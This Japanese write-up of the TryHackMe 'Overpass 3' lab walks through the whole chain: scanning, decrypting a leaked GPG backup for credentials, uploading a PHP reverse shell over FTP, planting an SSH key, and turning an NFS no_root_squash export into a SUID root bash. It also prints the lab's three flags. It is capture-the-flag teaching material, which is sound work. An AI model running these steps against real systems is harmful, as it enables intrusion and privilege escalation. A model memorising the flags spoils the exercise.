概要
TryHackMe「Overpass 3 - Hosting」のWalkthroughです。
Task1
Q1.Web Flag
ポートスキャンを実行します。
$ nmap -Pn -T4 -sCV -p- 10.201.10.37 -oN nmap_result
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 de:5b:0e:b5:40:aa:43:4d:2a:83:31:14:20:77:9c:a1 (RSA)
| 256 f4:b5:a6:60:f4:d1:bf:e2:85:2e:2e:7e:5f:4c:ce:38 (ECDSA)
|_ 256 29:e6:61:09:ed:8a:88:2b:55:74:f2:b7:33:ae:df:c8 (ED25519)
80/tcp open http Apache httpd 2.4.37 ((centos))
|_http-server-header: Apache/2.4.37 (centos)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Overpass Hosting
Service Info: OS: Unix
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
21 | ftp | vsftpd 3.0.3 |
22 | ssh | OpenSSH 8.0 |
80 | http | Apache/2.4.37 |
Webサイトにアクセスします。
ディレクトリスキャンをすると、/backups
を発見しました。
$ dirsearch -u http://10.201.10.37/
[10:17:59] 301 - 236B - /backups -> http://10.201.10.37/backups/
[10:17:59] 200 - 894B - /backups/
/backups
にアクセスすると、backup.zip
があります。
ダウンロードし解凍すると、prive.key
とCustomerDetails.xlsx.gpg
が含まれています。
CustomerDetails.xlsx.gpg
はprive.key
で復号できそうです。
$ unzip backup.zip
Archive: backup.zip
extracting: CustomerDetails.xlsx.gpg
inflating: priv.key
gpgのプライベートキーをインポートします。
$ gpg --import priv.key
gpg: key C9AE71AB3180BC08: public key "Paradox <paradox@overpass.thm>" imported
gpg: key C9AE71AB3180BC08: secret key imported
gpg: Total number processed: 1
gpg: imported: 1
gpg: secret keys read: 1
gpg: secret keys imported: 1
プライベートキーでファイルの復号をします。
$ gpg --decrypt --output CustomerDetails.xlsx CustomerDetails.xlsx.gpg
gpg: Note: secret key 9E86A1C63FB96335 expired at Tue 08 Nov 2022 04:14:31 PM EST
gpg: encrypted with 2048-bit RSA key, ID 9E86A1C63FB96335, created 2020-11-08
"Paradox <paradox@overpass.thm>"
復号したファイルを開くと、3アカウントの認証情報を得られました。
Username:paradox
、Password:ShibesAreGreat123
でFTPのログインに成功しました。
msf6 auxiliary(scanner/ftp/ftp_login) > exploit
[*] 10.201.63.16:21 - 10.201.63.16:21 - Starting FTP login sweep
[+] 10.201.63.16:21 - 10.201.63.16:21 - Login Successful: paradox:ShibesAreGreat123
[*] 10.201.63.16:21 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
FTP経由でWebサーバに、リバースシェルファイルをアップロードします。
ftp> put php-reverse-shell.php
local: php-reverse-shell.php remote: php-reverse-shell.php
229 Entering Extended Passive Mode (|||25336|)
150 Ok to send data.
100% |*****************************************************************| 5493 31.74 MiB/s 00:00 ETA
226 Transfer complete.
5493 bytes sent in 00:00 (15.62 KiB/s)
Netcatでリッスンし、リバースシェルファイルにアクセスし、リバースシェルを張れました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.201.63.16] 33898
Linux ip-10-201-63-16 4.18.0-193.el8.x86_64 #1 SMP Fri May 8 10:59:10 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
13:52:47 up 6 min, 0 users, load average: 0.00, 0.10, 0.07
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
sh: cannot set terminal process group (876): Inappropriate ioctl for device
sh: no job control in this shell
sh-4.4$ whoami
whoami
apache
フラグファイルを探すと、/usr/share/httpd/web.flag
を発見しました。
sh-4.4$ find / -name *flag* 2>/dev/null
/usr/share/httpd/web.flag
Webのフラグを得られました。
sh-4.4$ cat /usr/share/httpd/web.flag
cat /usr/share/httpd/web.flag
thm{0ae72f7870c3687129f7a824194be09d}
A.thm{0ae72f7870c3687129f7a824194be09d}
Q2.User Flag
/home
を見ると、james
かparadox
アカウントに昇格する必要がありそうです。
sh-4.4$ ls -la /home
ls -la /home
total 0
drwxr-xr-x. 4 root root 34 Nov 8 2020 .
drwxr-xr-x. 17 root root 244 Nov 18 2020 ..
drwx------. 3 james james 112 Nov 17 2020 james
drwx------. 4 paradox paradox 203 Nov 18 2020 paradox
paradox
アカウントにSSH接続を試みましたが、失敗しました。
$ ssh paradox@10.201.63.16
The authenticity of host '10.201.63.16 (10.201.63.16)' can't be established.
ED25519 key fingerprint is SHA256:18WMJxDadr79jI/eHKaMMLgRKWSOMUxtNLFbBJjVKrg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.201.63.16' (ED25519) to the list of known hosts.
paradox@10.201.63.16: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).
リバースシェル上でparadox
アカウントに移行出来ました。
sh-4.4$ su paradox
su paradox
Password: ShibesAreGreat123
whoami
paradox
paradox
アカウントにSSH接続できるよう、自身のSSH公開鍵を登録し、SSH接続に切り替えます。
[paradox@ip-10-201-63-16 .ssh]$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBAdms08N2Rd+Wt6UZ74W0OyFlFt/mnGyKY/PkV9RXYYDljCC6AULUw1UbCWHpfCU3AT75b57Y97JkhvvW5/X8QNl444H+PWlMngBYxYnlP5WMGtfIRfoo28JVNUH6LQRmQv9SmOepikkmDqBwyptUDl90CLroCrO8DO+vSjOfnYDV3ewGLp487iHRN2IptsbVaNjVQqoo3Amc277oZNNQX8XwpkuOVlQn2zKU9u6eSHqvtRjeBsHyo771/4MTR1fdQH8pABgjYTjTaHjIX/u1s8nL/DSEJ9DDOxcKjdU0wijOSyrCJSMrHx8Y4Dt+SooL5eYiQCZ8Om6nBWT5qe9aLVtW1lYeOnxVt+6hO7eJOb/k+SVFxnysjSdOJfkUgJgFE2LwbwYQWtLzcOwFx64GNU881H8Q9KZbw0Z6ei5EP7LVsqYb/0PHcc8PKg5i1rR665hDN12js3gfLaCDo3AnprxshtrD+dtGmXIvLmHK3zcZKANy6VCX8B1StgjhTfE= kali@kali" >> authorized_keys
<ZKANy6VCX8B1StgjhTfE= kali@kali" >> authorized_keys
linpeas
を実行すると、2049
ポートが動作しており、NFSが動作していると分かります。
╔══════════╣ Active Ports
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-ports
══╣ Active Ports (ss)
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:41567 0.0.0.0:*
tcp LISTEN 0 64 0.0.0.0:2049 0.0.0.0:*
tcp LISTEN 0 64 0.0.0.0:44171 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:111 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:20048 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
tcp LISTEN 0 64 [::]:37881 [::]:*
tcp LISTEN 0 128 [::]:36857 [::]:*
tcp LISTEN 0 64 [::]:2049 [::]:*
tcp LISTEN 0 128 [::]:111 [::]:*
tcp LISTEN 0 128 [::]:20048 [::]:*
tcp LISTEN 0 128 *:80 *:*
tcp LISTEN 0 32 *:21 *:*
また、/home/james
配下を外部からマウントできると分かりました。
╔══════════╣ Analyzing NFS Exports Files (limit 70)
Connected NFS Mounts:
nfsd /proc/fs/nfsd nfsd rw,relatime 0 0
sunrpc /var/lib/nfs/rpc_pipefs rpc_pipefs rw,relatime 0 0
-rw-r--r--. 1 root root 54 Nov 18 2020 /etc/exports
/home/james *(rw,fsid=0,sync,no_root_squash,insecure)
SSHでポートフォワーディングの設定します。
$ ssh -L 2049:localhost:2049 -i ~/.ssh/id_rsa paradox@10.201.63.16
マウント用のフォルダをローカルに作成します。
$ sudo mkdir /mnt/james
[sudo] password for kali:
作成したフォルダに/home/james
をマウントします。
$ sudo mount localhost:/ /mnt/james
user.flag
を発見しました。
$ ls -la /mnt/james
total 20
drwx------ 3 kali kali 112 Nov 17 2020 .
drwxr-xr-x 5 root root 4096 Oct 14 09:16 ..
lrwxrwxrwx 1 root root 9 Nov 8 2020 .bash_history -> /dev/null
-rw-r--r-- 1 kali kali 18 Nov 8 2019 .bash_logout
-rw-r--r-- 1 kali kali 141 Nov 8 2019 .bash_profile
-rw-r--r-- 1 kali kali 312 Nov 8 2019 .bashrc
drwx------ 2 kali kali 61 Nov 7 2020 .ssh
-rw------- 1 kali kali 38 Nov 17 2020 user.flag
ユーザーフラグを入手できました。
$ cat /mnt/james/user.flag
thm{3693fc86661faa21f16ac9508a43e1ae}
A.thm{3693fc86661faa21f16ac9508a43e1ae}
Q3.Root flag
james
のSSH秘密鍵を発見しました。
$ ls -la /mnt/james/.ssh
total 12
drwx------ 2 kali kali 61 Nov 7 2020 .
drwx------ 3 kali kali 112 Nov 17 2020 ..
-rw------- 1 kali kali 581 Nov 7 2020 authorized_keys
-rw------- 1 kali kali 2610 Nov 7 2020 id_rsa
-rw-r--r-- 1 kali kali 581 Nov 7 2020 id_rsa.pub
マウントフォルダから、秘密鍵をローカルにコピーします。
$ cp /mnt/james/.ssh/id_rsa ./
james
アカウントにSSH接続が出来ました。
$ ssh -i id_rsa james@10.201.63.16
Last failed login: Tue Oct 14 14:02:16 BST 2025 on pts/0
There were 5 failed login attempts since the last successful login.
Last login: Wed Nov 18 18:26:00 2020 from 192.168.170.145
[james@ip-10-201-63-16 ~]$ whoami
james
linpeas
の出力結果にある、no_root_squash
に注目します。
この設定があるので、ターゲットサーバ上の共有フォルダをroot権限で操作できます。
/home/james *(rw,fsid=0,sync,no_root_squash,insecure)
/bin/bash
を/home/james
にコピーします。
[james@ip-10-201-63-16 ~]$ cp /bin/bash ./
マウントフォルダ経由で/home/james/bash
の所有者をrootに変更し、SUIDを設定します。
$ sudo chown root:root /mnt/james/bash
$ sudo chmod +xs /mnt/james/bash
SSH接続で/home/james/bash
を確認すると、権限設定が反映されています。
[james@ip-10-201-63-16 ~]$ ls -la
total 2400
drwx------. 3 james james 141 Oct 14 14:34 .
drwxr-xr-x. 4 root root 34 Nov 8 2020 ..
-rwsr-sr-x 1 root root 1219248 Oct 14 14:30 bash
bashプログラムを利用し、root権限を取得できました。
[james@ip-10-201-63-16 ~]$ /home/james/bash -p
bash-4.4# whoami
root
ルートフラグを入手できました。
bash-4.4# cat /root/root.flag
thm{a4f6adb70371a4bceb32988417456c44}
A.thm{a4f6adb70371a4bceb32988417456c44}